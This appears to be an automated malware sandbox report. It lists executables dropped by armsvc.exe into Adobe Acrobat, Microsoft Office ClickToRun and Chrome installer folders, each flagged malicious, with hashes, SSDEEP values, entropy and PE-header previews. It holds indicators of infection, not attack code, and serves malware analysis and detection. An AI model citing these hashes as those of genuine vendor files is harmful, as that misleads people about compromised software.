Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......'A3rc ]!c ]!c ]!..!h ]!..!. ]!..!x ]!1UY r ]!1U^ i ]!.O.!a ]!..!g ]!..!b ]!1UX . ]!..!@ ]!.UX . ]!c \!.!]!.UT . ]!.U.!b ]!c .!b ]!.U_ b ]!Richc ]!................PE..d.....Zd..........".................t..........@..............................0......*0... ..................................................o .......&......$.`....................x..p....................y..(....)..8....................j .@....................text............................... ..`.rdata..8...........................@..@.data....q.... ..<...r .............@....pdata..`.....$.......#.............@..@_RDATA........&.......%.............@..@.rsrc........&.......%.............@..@.reloc...@....&..0...H&.............@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1743872
Entropy (8bit):	5.136837613539101
Encrypted:	false
SSDEEP:	24576:SkIWTUQcyd7/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:SxKU0LNiXicJFFRGNzj3
MD5:	09F33BBA838E10D79DBE8F075EBCD025
SHA1:	55B66C855BE8ADD22EDEB778685439CC9A220937
SHA-256:	39E8E51D9E4A25425B76851AF0324EE1BC7ED0FA0DD47C06A0882880F3F0666C
SHA-512:	577F5CAA7E7A54652A6C283CADC0A9271C1C645109BBC338D3E24521CF266C3B06B2098538D442F149CC586685DDF35AE4F956077ADC5A117B940C55484F9FCC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0I..Q'..Q'..Q'..7#..Q'..7$..Q'..7".!Q'..$#..Q'..$$..Q'..7&..Q'..$"..Q'.x$"..Q'..Q&.dQ'.x$...Q'.x$...Q'..Q...Q'.x$%..Q'.Rich.Q'.........................PE..d.....Zd.........."......,..........(?.........@..............................%........... .................................................(...P................m..................tC..p...........................p...8............@..........@....................text....+.......,.................. ..`.rdata......@.......0..............@..@.data....)..........................@....pdata...m.......n..................@..@_RDATA...............B..............@..@.rsrc................D..............@..@.reloc...p...@......................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1494016
Entropy (8bit):	4.896118193838053
Encrypted:	false
SSDEEP:	24576:uO+qBM/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:R+fLNiXicJFFRGNzj3
MD5:	DB3115A619F124BC7CBAA399F176B2C6
SHA1:	6D4A286418A6626A30BAA2EFBE71D019EB080030
SHA-256:	76C989A90A176C86DE7F0AF96D4D1B492D2FE10BBCF8378FB921AF7EA36E6785
SHA-512:	6FB33F6BC022DC9F2E0DDC870A36B37DA84AF1A7B4A7AC2D10030A6A975D86AC04425E500A9A025BECE14B54EFD6FF04A0A9DD6C236C771331D1AA840E4A0B4C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..*...y...y...y...y...y..x...y..x...y..x...y..x-..y..Ey...yb.x...y...y..yN.x...yN.}y...yN.x...yRich...y........PE..L...<..[................. ...................0....@...........................!....................................................0...............................J..p....................K.......J..@............0...............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data....E.......B..................@....rsrc........0......................@..@.reloc.......@......................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1298944
Entropy (8bit):	4.521149518320879
Encrypted:	false
SSDEEP:	12288:SiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:0/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	E5E26322F9B578B09CDC8E8DEE068A86
SHA1:	12D7C105118DF5266ECEDED76D529D673C317DE3
SHA-256:	3827A5209D7437CE4C9F1E2A89A9B16321F2983EE218FFB23903A723800AD4BB
SHA-512:	1B9B45232458FB3B79384C7B98E9A61EA8D5D16112128BB508FBADAE69315CFF7CD58CFF4ADBA84F6AA76BD62F35ED4EEDC9269AE1A99D8D17188620FE7CD6A9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................+.............................................................G.............Rich............................PE..d...~^.c.........."..........$......p..........@....................................e..... ..................................................;.......p.......`......................d4..p............................4..8............0..0............................text...\|........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc...`...........2..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1317376
Entropy (8bit):	4.55083767491033
Encrypted:	false
SSDEEP:	12288:4kiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:n/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	776F1520E05ED22E754CAB1AC4DB789C
SHA1:	4391226DCB71006E952630B42F87631D1CCF6663
SHA-256:	5FE6CFEBEA951A7A9EEBA4F8655E4320AE036F4D659FFA0C57DEFB8A386D49E8
SHA-512:	4F0FF7DB6D6D45977C9DAF702F3D0859D3B9AEDBCAB386D08ED4A5A74F47C15E152209F31B2CD71CAA758DC6BBE33DC37CFC82B9A530F6C3BE0058FFCD4EDC0B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2\.v=..v=..v=...E?.x=..I..\|=..I..u=..I..j=..I..p=..bV..q=..v=...=..I..t=..IS.w=..v=;.w=..I..w=..Richv=..........................PE..d....^.c.........."......<...B.......>.........@......................................... ..................................................i..........P.......,...................`X..T............................X..8............P...............................text....;.......<.................. ..`.rdata..$'...P...(...@..............@..@.data................h..............@....pdata..,............l..............@..@.rsrc...P............r..............@..@.reloc...`...........z..............@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.496759755138488
Encrypted:	false
SSDEEP:	49152:9tuUC0nNc/RcYHCY9AWWnUOqdHIEogMAYrukdUmSC+bXMZQU1QqpN7559LNiXico:9jEIa3HIEWOc5T7wRGpj3
MD5:	C1B8662F8E5D3A6D1B0A0FBB4902D856
SHA1:	EFC3437A7154810E5892E02AEEFEED623133272C
SHA-256:	1A051B96AAF4E1787A6EA5348148B990806D8676CA657374344BB854031E941E
SHA-512:	97B80B7CC862495CD8C581C7916E13368A522D33E4BFC354C597AAE20DAC781F1FB9B84E6A9537E009304853F34E083AFF8A740B4D0E476DCE196E41D9D93FDB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @.....c @... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.999353919407271
Encrypted:	true
SSDEEP:	1572864:xQb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:iXhwMhe6AABPiQwF6xQ22R
MD5:	81E5B3991BCC82926EE45571AD5CCCF3
SHA1:	7A9C944B9D31287EA721E85D0E6C02FA419B6F50
SHA-256:	32C07AF8610E043BD05BF98FF4C4694C3E30D75A554BF0CC65CB23A116113490
SHA-512:	4216FE15A3AB138B79F9C0502E853CC4EDAAE0FE1527B66905C987FAA5EF95B8B56A02A7F13966D0AE087EDF37BCD8FB3E43B2FF67899907952DFB63B499E50B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0............ .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1385984
Entropy (8bit):	4.703444947922468
Encrypted:	false
SSDEEP:	24576:WjkYuY/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:e/uYLNiXicJFFRGNzj3
MD5:	DB654B602A1E6417F51C3C1A058F1B38
SHA1:	CF720B1E4082AD306E66375A6C153C843CD64706
SHA-256:	FF4FB74473017D21BE9F5632F701F3F7886B05E779BF3C71F17493315018856F
SHA-512:	47A4B7A0E472079FBBAA409E6AC52D8C6C058A8F8E91FCCA505E9730D8E985F9D2644D03A9A9BF60FA31741BAB411FFDAAC6F936B6DB44CEFBAEB6F6EBF60BF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................b....6......6......6.....6.....................M..4......4......4........f....4.....Rich...........................PE..L.....{d.................&...`...............@....@.......................... ......`.......................................r..,................................... O..p....................P.......O..@............@..4............................text....%.......&.................. ..`.rdata...@...@...B...*..............@..@.data................l..............@....rsrc................p..............@..@.reloc...p...........v..............@...................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1540608
Entropy (8bit):	4.935002381096148
Encrypted:	false
SSDEEP:	24576:yxwSJzkrmZsE/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:yyIkrKsELNiXicJFFRGNzj3
MD5:	FDA2B78DF59DE59D497FB22336CF3527
SHA1:	8D5DADD5C0B9FB0DDBE40F08658653F852336FFB
SHA-256:	A2AA1E705434DF09A538C1A96DBEF025319DC924548C21C245F88CEFF4FE489B
SHA-512:	7D7BCC03CA1A36BE9CE36FC03E9212C2D681FFFDCDD79030789077BABA834E7D588AE5881F6E39231AA39BBBF5CE2241450185A311632DBAF6FEBBBCBB980478
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................y...5.......5.....5......7.......................7.....7.Z....2...7.....Rich..........................PE..d.....{d.........."..........<.......&.........@..............................".....B=.... .................................................`...x.... ..............................`j..p....................l..(....j..8............................................text...l........................... ..`.rdata..............................@..@.data...4#..........................@....pdata........... ..................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc...`...0......................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1804800
Entropy (8bit):	5.247481061981319
Encrypted:	false
SSDEEP:	24576:ZHQJLIRZvsnNR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ZHQJLy4RLNiXicJFFRGNzj3
MD5:	1F876C371DED28E130A378424B77D745
SHA1:	DEAE8999775989D286554DDB40A5A2021FE2D8AD
SHA-256:	2F76D7374A42E860F6A642BD51B984EB11AFC815353C00DD2805FBA187B755A8
SHA-512:	EC1EC063BCE043AA37F1F7915D59215250DE63E6C057C116A94D68B0ACD9BDB187128743AFC5784504F1A59EBF8E7200CA3F872ADB1AE01BD135807CA91C324B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L<."o."o."o...o.."o+.&n.."o+.!n.."o+.#n."o+.'n."o..$n."o..#n.."o).+n.."o.#o;."o).'n."o)..o."o). n."oRich."o........PE..d......d.........."......\.....................@..............................&.....1c.... .................................................."..@....0...........W..................x...T.......................(...`...8............p..........`....................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data....^...P...R...2..............@....pdata...W.......X..................@..@.didat..8...........................@....msvcjmc..... ......................@....rsrc........0......................@..@.reloc...`...@......................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5365760
Entropy (8bit):	6.447938137266422
Encrypted:	false
SSDEEP:	49152:TUZujDjDjDjXmXgoz2PsapFQr97dRpqbeE8U2Izwot+bdro4O8b8ITDnlggyJ1kx:IWmXL6DE97dRpKuoQbgC7wRGpj3
MD5:	04CCEF8AF012D0BBE58B0637DADE3682
SHA1:	3297FF0F92049346F10062A8509E45744BEF9EAB
SHA-256:	43710806CBE5CE01BB2D42D260DCF385D48A203FD38C8B7801314AE57AC600DE
SHA-512:	2F3B6B8F2325EEDDCE19C5F6141DEE80A52808FF2F17F5F40E1B331C3B11DD3BB5912F83320667FD35DB266146378FAF4BA9525202F90B307384882D86FA9915
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........I.~.(g-.(g-.(g-.Cd,.(g-.Cb,i(g-.G.-.(g-b\c,.(g-b\d,.(g-.t.-.(g-.(g-C(g-b\b,.(g-.Cc,.(g-.Ca,.(g-.Cf,.(g-.(f-.+g-`\b,.(g-`\g,.(g-`\.-.(g-.(.-.(g-`\e,.(g-Rich.(g-........PE..L......d.........."......./..p......P"%.......0...@...........................R.......Q..............................@:......@:.......;..V...........................^6.T...................._6.....h.5.@.............0...... :.`....................text...*./......./................. ..`.rdata..Ze....0..f....0.............@..@.data....E....:......h:.............@....didat........;......B;.............@....rsrc....V....;..X...H;.............@..@.reloc...P...@G..@....F.............@...........................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3163136
Entropy (8bit):	7.971279241050893
Encrypted:	false
SSDEEP:	98304:WrZ23AbsK6Ro022JjL2WEiVqJZd7wRGpj3:QJADmmxL2WEoCZhF9
MD5:	F6E0896ED4DD35B6BC8B89758B886C72
SHA1:	1963934D71A77B96EE0A494942C70D9226A4A30B
SHA-256:	A1CEAA18C2DD17EE7BFF8185421F3B53176C2D0AC014553DE26EE1F5BF33CC05
SHA-512:	AFB7A1DB6C08E4B78F2CA4AC1B7629DB8B63D238E86B7CF1D7EF72F0BF787365271E403BD6965BCBE6F3FF7E3B0A0A3F46013A4B3C2C995EFF5C4CC83D038A9B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5{.!q..rq..rq..rq..r...rQc.r`..rQc.r`..rQc.rp..rQc.rp..rRichq..r........................PE..L.....A.................~... .......^... ........... ........................1.....r.1.......... .....................................0............................!............................................... ...............................text....\|... ...~.................. ..`.data...............................@....rsrc...../......./.................@...................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1213440
Entropy (8bit):	7.194657091391323
Encrypted:	false
SSDEEP:	24576:afrYY42wd7hlOE9fpkEE64U/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:j/9xrSULNiXicJFFRGNzj3
MD5:	DFC7546A653B834771FD19B0D832414F
SHA1:	F7AD1C01DAEAEE6F0839B8F5C7678BACE6EF8B7E
SHA-256:	FB001A2126D995C44B52794B2E7CBB56297022CB162124BDCFD97909CDBCD6DF
SHA-512:	7705419FEB98613CA0663DA19A4C96269F9D7DBEF95A18C3AE5F662B31C4AA14C3CAD17A440E5400DE065D5956A667D3216EF2BCD75DB7C444514CE956438747
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@......T...T...T...U...T...U...T..U...T..U...T...U...T..U...T...U...T...Tf..T..U...T..T...T..uT...T..U...TRich...T................PE..d.....{d..........#......J...........3.........@............................. .......C.... ..................................................L.......`..........(J..................p...T.......................(... B..8............`.......I..`....................text....H.......J.................. ..`.rdata..d....`.......N..............@..@.data...(w...p...&...^..............@....pdata..(J.......L..................@..@.didat.......@......................@..._RDATA.......P......................@..@.rsrc........`......................@...................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1544192
Entropy (8bit):	4.836102321508394
Encrypted:	false
SSDEEP:	24576:7zNKU/5T/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:7zNr/5TLNiXicJFFRGNzj3
MD5:	A74E527E4DEC3BA66B39963F979E471E
SHA1:	CE386DDDF7E2795A61C73438AA4282A18F7CE5A5
SHA-256:	B9B8958619DC878DF6427D2CC8F6F245F0A622A14525DF3705CB28F8725D2C2F
SHA-512:	734B8F7F065EF2DEF3FBF0B07218286529B3B0C406CD62A9CA1E58331DED51393B9A3432DE3962E5A92835C777E0A44579E9A48B15FEF3F741E8CAE5BEBC43A1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E@..$...$...$...\...$...V*..$...V-..$...V+..$...V/..$...$/.0 ...V&..$...V..$...V..$...V,..$..Rich.$..........PE..d...!!.R.........."......`..........0C.........@.............................`".....4..... .......... ......................................Xl..........X.......d.......................T...................8...(.......8...........`...`............................text...(X.......`.................. ..`.rdata..z....p... ...p..............@..@.data...............................@....pdata..d........ ..................@..@.rsrc...X...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5855744
Entropy (8bit):	6.572133770210121
Encrypted:	false
SSDEEP:	98304:VALuzDKnxCp3JKCrPJzruaI6HMaJTtGb+7wRGpj3:2aGg3cuPIaI6HMaJTtGbyF9
MD5:	7E460A630E95DA1229351CB29360B0CD
SHA1:	ACFA94C9735CE496802F15DEBFBBAEC28DC1FF17
SHA-256:	46B226F90083FA69FE5BD771AC7D2689E4C4E90671756C8C27F707A282BE2002
SHA-512:	951F86877783D6DEFCEE522E7D1E909A26E915A199F71D64D7CB9D6F1057E03B58F131E31F09F1CF6264CB50825F2FEC805CED7159CEC2F33BBBAC19AE4FA447
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p.......p.......p..&....p..............nx..i...kx......kx......kx..g...kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@..............................Y......7Z... .................................................8.B.......K..a...PI..%..................0.B.8...................X.B.(.....7.@.............6.0.....B......................text....y6......z6................. ..`.rdata..5.....6......~6.............@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@..._RDATA..\.....K......fK.............@..@.rsrc....a....K..b...hK.............@..@.reloc........P.......O.............@...................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1468416
Entropy (8bit):	4.890076282617634
Encrypted:	false
SSDEEP:	24576:vXr/SVAxWQ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:TNxdLNiXicJFFRGNzj3
MD5:	2F598AC78D8B5787C96B95B60EC550F1
SHA1:	EC0084C772CB662AA094B008E64A43156A311E0A
SHA-256:	48BD23B16557CB75C304A12F2F8D322515BFC30E27B807575585271D77A7CA1B
SHA-512:	44ED3379158C16F7A02D785EEBFA6A07636D99D21FE4525F17686786ABC224BB98A5897A94935CB82155B0041B2C184FD806E80A229039D293E9BD4854C4D79B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........K.k...k...k.......k.......k.......k.......k...k..Ro.......k....l..k.......k....n..k.......k..Rich.k..........PE..L...9.A/.....................T......@V............@..........................`!......x........... ......................................8............................_..T...............................@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...8...........................@..@.reloc..............................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27533312
Entropy (8bit):	6.248047435541867
Encrypted:	false
SSDEEP:	196608:fhRrmpGpGdJM7Hbp8JfrCGvqTYuNDmoefAlprtPz25HqaI6HMaJTtGbQO2F9:fhRCpGpMJMrbp8JjpWdNlc5V9
MD5:	7B07045010876FA80CD2987CF34C7E9D
SHA1:	724D3F10A208999F7472B819B47EE08CD47BE409
SHA-256:	7128C4D5B366FEA275742D7411E8740E0938948DD6723AD4075C2BECBA23640B
SHA-512:	2BC81908CF17901D622604A5FE548FB17EC29EFF4D5D6BFC4AC78EEC3F6F7ACD8B6D3E8B33D35EFBD1012C826F3A908D155DAA73CCBD38A853F2B75E5E643B06
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......$.\|+`{.x`{.x`{.xi..xv{.x...yf{.x...yj{.x...yd{.x...yO{.xG..xh{.xG.oxa{.x...yb{.x...ya{.x...ya{.x...yd{.x...yc{.x...y~{.x...y}{.x`{.xTs.x...ya{.x...yjz.x...y v.x...xa{.x`{.xa{.x...ya{.xRich`{.x........PE..d......e..........".... .....H.................@....................................Q.... ..................................................u..D.... ?...X...7.........................8....................U..(...`...@............0.. "..l .......................text............................... ..`.rdata..S.~..0....~.................@..@.data.........1.......0.............@....pdata........7.......7.............@..@.didat..`.....>.......>.............@....detourc.!....>.."....>.............@..@.rsrc.....X.. ?...X...>.............@..@.reloc..............................@...........................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199552
Entropy (8bit):	6.782230933232861
Encrypted:	false
SSDEEP:	49152:F83pZ3kd0CuEeN0LUmRXbYs65mKLNiXicJFFRGNzj3:1KuUMY15B7wRGpj3
MD5:	4AE8ADF9E12D9FFF0F288FB1B5B90662
SHA1:	89A952CC40C6B88AD81403A5D21B27F088DB6387
SHA-256:	3E867D570A0FF01865239F3FF9D51BCBE9AB24554F7B43F24C7193830FFF697F
SHA-512:	7A120F98585FAC7A05C78C4B39387E034A3601E2EC7FAAAB15F6F7775C6EC845B3149F308722742F6C05DC6AB7864588008DE994E04DE99DD32DDAD8EA2F7D69
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D................7......................!..............~............Y.......[............Rich............PE..d...rq............"..................$.........@..............................!.....w-"... .......... ......................................P...\|....p... ......L....................a..T...................Xt..(... s..8............t...............................text...6........................... ..`.rdata..............................@..@.data...@...........................@....pdata..L...........................@..@.rsrc.... ...p...0...P..............@..@.reloc... ..........................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4971008
Entropy (8bit):	6.668194663584365
Encrypted:	false
SSDEEP:	49152:mErw1zDb1mZtOoGpDYdSTtWXy4eqH8nYAmoBvYQugWupoI6bAGO8ndOPcptz6+MM:4A4oGlcR+glpdOPKzgVZw7wRGpj3
MD5:	7AC201DD547394BFDE9BA920599AC085
SHA1:	5C94E6895B98D3B8E15AF11B996CB92BDB123DF4
SHA-256:	D115CF87F59A1D228A99A7CF44A6C714F5C3A2952137B7118C3224F5616DAAB4
SHA-512:	AF167B2E340A414BCCC0F46846D37C38252B656CFCAC4EE17F0097E6D8F53B924B1881E61B613E77FCBBA41838D6D8A140A4936A59FAD39C72F63367CCCED99C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......Eh.<..{o..{o..{o.q.o..{oaszn..{oas~n*.{oas.n..{oasxn..{o.{}n..{o.{xn..{o.{.n..{o.{zn..{o..zo..{odsxn..{ods~n..{odsrnF.{ods.o..{o...o..{odsyn..{oRich..{o........PE..d...0m.d..........".... ..-.........0p+........@..............................L.....I.K... .................................................HZ:.......B.......@.<C....................:.8...................p.9.(... P..@.............-......H:.@....................text...[.-.......-................. ..`.rdata..9.....-.......-.............@..@.data...x....`>......>>.............@....pdata..<C....@..D....@.............@..@.didat..`.....B......LB.............@....rsrc.........B......PB.............@..@.reloc........B......ZB.............@...........................................................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.827351215372555
Encrypted:	false
SSDEEP:	49152:68ErDqTGsitHloGgkiDrCvJVZfEcpwD0YLgVCM2hnwLNwiHaGI3Y/685ZYMaWgKe:Xv2gM+qwtLg7pPgw/DSZ9L7wRGpj3
MD5:	7FE65DD2F6BABBA5873955EC61780924
SHA1:	1E1FD2D765BEADD1CFC13E42204E30EEB719623C
SHA-256:	F1279C3D036DA730F4641D46DAB517F0E0669AFC7E56858CC40DB379AF5A41E1
SHA-512:	61C46FE4A99A4E44F6E5BE49F23E0D0345E1C3477BCFACAE06AC7EDFD553B8B45ADEA575DE870B8A3C830EEF3A0F3BBD8B2668A9D095F88E924B9D31F4E848AF
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.......K... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.827351180530735
Encrypted:	false
SSDEEP:	49152:p8ErDqTGsitHloGgkiDrCvJVZfEcpwD0YLgVCM2hnwLNwiHaGI3Y/685ZYMaWgKe:ev2gM+qwtLg7pPgw/DSZ9L7wRGpj3
MD5:	9A0D9414E1332F5FEB32FC0B12168B42
SHA1:	0020FC195E1BA77C8244FCE84747BAC637D6F856
SHA-256:	E626D01758BAFC4EDD169399A2152FC1AACE6D6186A22D7CDB0486B0C772A211
SHA-512:	D90A254A1C58A73F96E7AAAF08CACDFECE3376C6E532F40C2BDF3CB99E89DB36099C6D856621CA13BF896E1EB79573652376DBC17C1457FFAD1E105D189AC6B3
Malicious:	true
